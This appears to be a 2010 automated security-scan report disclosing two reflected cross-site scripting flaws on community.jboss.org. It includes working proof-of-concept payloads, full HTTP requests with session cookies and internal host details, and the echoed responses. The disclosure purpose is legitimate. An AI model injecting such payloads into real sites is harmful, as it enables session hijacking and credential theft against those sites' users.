Report generated by XSS.CX at Mon Nov 15 11:09:03 CST 2010.


Cross Site Scripting Reports | Hoyt LLC Research

Loading

1. Cross-site scripting (reflected)

1.1. http://community.jboss.org/view-people-tagcloud.jspa [queryEncoded parameter]

1.2. https://community.jboss.org/login.jspa [emailAddress parameter]



1. Cross-site scripting (reflected)
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://community.jboss.org/view-people-tagcloud.jspa [queryEncoded parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://community.jboss.org
Path:   /view-people-tagcloud.jspa

Issue detail

The value of the queryEncoded request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6ef39'%3balert(1)//6e03cdf3cdc was submitted in the queryEncoded parameter. This input was echoed as 6ef39';alert(1)//6e03cdf3cdc in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /view-people-tagcloud.jspa?queryEncoded=eyJ1aWQiOi0xLCJyZHUiOmZhbHNlLCJycCI6dHJ1ZSwic24iOnRydWUsInNucCI6dHJ1ZSwicmV1IjpmYWxzZSwicmF1aWQiOmZhbHNlLCJzcCI6dHJ1ZSwic2UiOnRydWUsInJvdSI6ZmFsc2UsImZjdCI6ZmFsc2UsIm14Y2QiOi0xLCJzdW4iOnRydWUsIm1uY2QiOi0xLCJydWlkIjpmYWxzZSwicCI6IiIsInBrIjoicHNxXzk4Mjc1NTI5MHwtMSJ96ef39'%3balert(1)//6e03cdf3cdc&_=1289831042783 HTTP/1.1
Accept: */*
Accept-Language: en-us
Referer: http://community.jboss.org/people
x-j-token: no-user
x-requested-with: XMLHttpRequest
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Host: community.jboss.org
Proxy-Connection: Keep-Alive
Cookie: JSESSIONID=E76140915DFB659E953BB107D6B8063A; s_cc=true; s_ria=flash%2010%7Csilverlight%20not%20detected; s_sq=%5B%5BB%5D%5D; __utmc=241501529; rh_omni_tc=70160000000H4AjAAK; s_nr=1289831032929; s_vnum=1292422844821%26vn%3D1; s_invisit=true; __utma=241501529.1102710681.1289830845.1289830845.1289830845.1; __utmb=241501529.3.10.1289830845; __utmz=241501529.1289830845.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); jive.server.info="serverName=community.jboss.org:serverPort=80:contextPath=:localName=clearspace02.app.mwc.hst.phx2.redhat.com:localPort=8080:localAddr=10.5.106.15"; JSESSIONID=DDE1B860157F60EF7F32B1C587D04C48.node0; __utma=153813930.861303267.1289831027.1289831027.1289831027.1; __utmb=153813930.1.10.1289831027; __utmc=153813930; __utmz=153813930.1289831027.1.1.utmcsr=jboss.org|utmccn=(referral)|utmcmd=referral|utmcct=/

Response

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 14:34:21 GMT
Server: Apache-Coyote/1.1
X-JAL: 6
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Vary: User-Agent
X-JSL: D=7877 t=1289831661232556
Cache-Control: no-cache, private, no-store, must-revalidate, max-age=0
Connection: close
Content-Length: 18802


<!-- BEGIN result tag cloud -->
<label>By Tags:</label>

<div id="jive-tags-popularlist">
<!-- BEGIN popular tags list -->
<div id="jive-populartags">
<ul class="jive-tagcloud-lis
...[SNIP]...
6dHJ1ZSwicmV1IjpmYWxzZSwicmF1aWQiOmZhbHNlLCJzcCI6dHJ1ZSwic2UiOnRydWUsInJvdSI6ZmFsc2UsImZjdCI6ZmFsc2UsIm14Y2QiOi0xLCJzdW4iOnRydWUsIm1uY2QiOi0xLCJydWlkIjpmYWxzZSwicCI6IiIsInBrIjoicHNxXzk4Mjc1NTI5MHwtMSJ96ef39';alert(1)//6e03cdf3cdc';
<!-- tag cloud calculation completed -->
...[SNIP]...

1.2. https://community.jboss.org/login.jspa [emailAddress parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   https://community.jboss.org
Path:   /login.jspa

Issue detail

The value of the emailAddress request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 52342"><script>alert(1)</script>817de34b9e88d53ed was submitted in the emailAddress parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /login.jspa?emailAddress=rtfm@fastdial.net52342"><script>alert(1)</script>817de34b9e88d53ed&method%3Aregister=true&registerOnly=false HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: https://community.jboss.org/login.jspa
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: community.jboss.org
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: JSESSIONID=E76140915DFB659E953BB107D6B8063A; s_cc=true; s_ria=flash%2010%7Csilverlight%20not%20detected; s_sq=redhatglobal%2Credhatjbossorg%3D%2526pid%253Dhttps%25253A//community.jboss.org/login.jspa%2526oid%253DConfirm%252520address%2526oidt%253D3%2526ot%253DSUBMIT%2526oi%253D440; __utmc=241501529; rh_omni_tc=70160000000H4AjAAK; s_nr=1289831147323; s_vnum=1292422844821%26vn%3D1; s_invisit=true; __utma=241501529.1102710681.1289830845.1289830845.1289830845.1; __utmb=241501529.3.10.1289830845; __utmz=241501529.1289830845.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); jive.server.info="serverName=community.jboss.org:serverPort=80:contextPath=:localName=clearspace02.app.mwc.hst.phx2.redhat.com:localPort=8080:localAddr=10.5.106.15"; JSESSIONID=DDE1B860157F60EF7F32B1C587D04C48.node0; __utma=153813930.861303267.1289831027.1289831027.1289831027.1; __utmb=153813930.1.10.1289831027; __utmz=153813930.1289831027.1.1.utmcsr=jboss.org|utmccn=(referral)|utmcmd=referral|utmcct=/; __utmc=153813930

Response

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 15:15:30 GMT
Server: Apache-Coyote/1.1
X-JAL: 11
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Vary: User-Agent
X-JSL: D=22090 t=1289834130536927
Cache-Control: no-cache, private, no-store, must-revalidate, max-age=0
Connection: close
Content-Length: 46183

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
...[SNIP]...
<input type="text" name="emailAddress" id="emailAddress" value="rtfm@fastdial.net52342"><script>alert(1)</script>817de34b9e88d53ed" class="jive-validate-email"/>
...[SNIP]...

Report generated by XSS.CX at Mon Nov 15 11:09:03 CST 2010.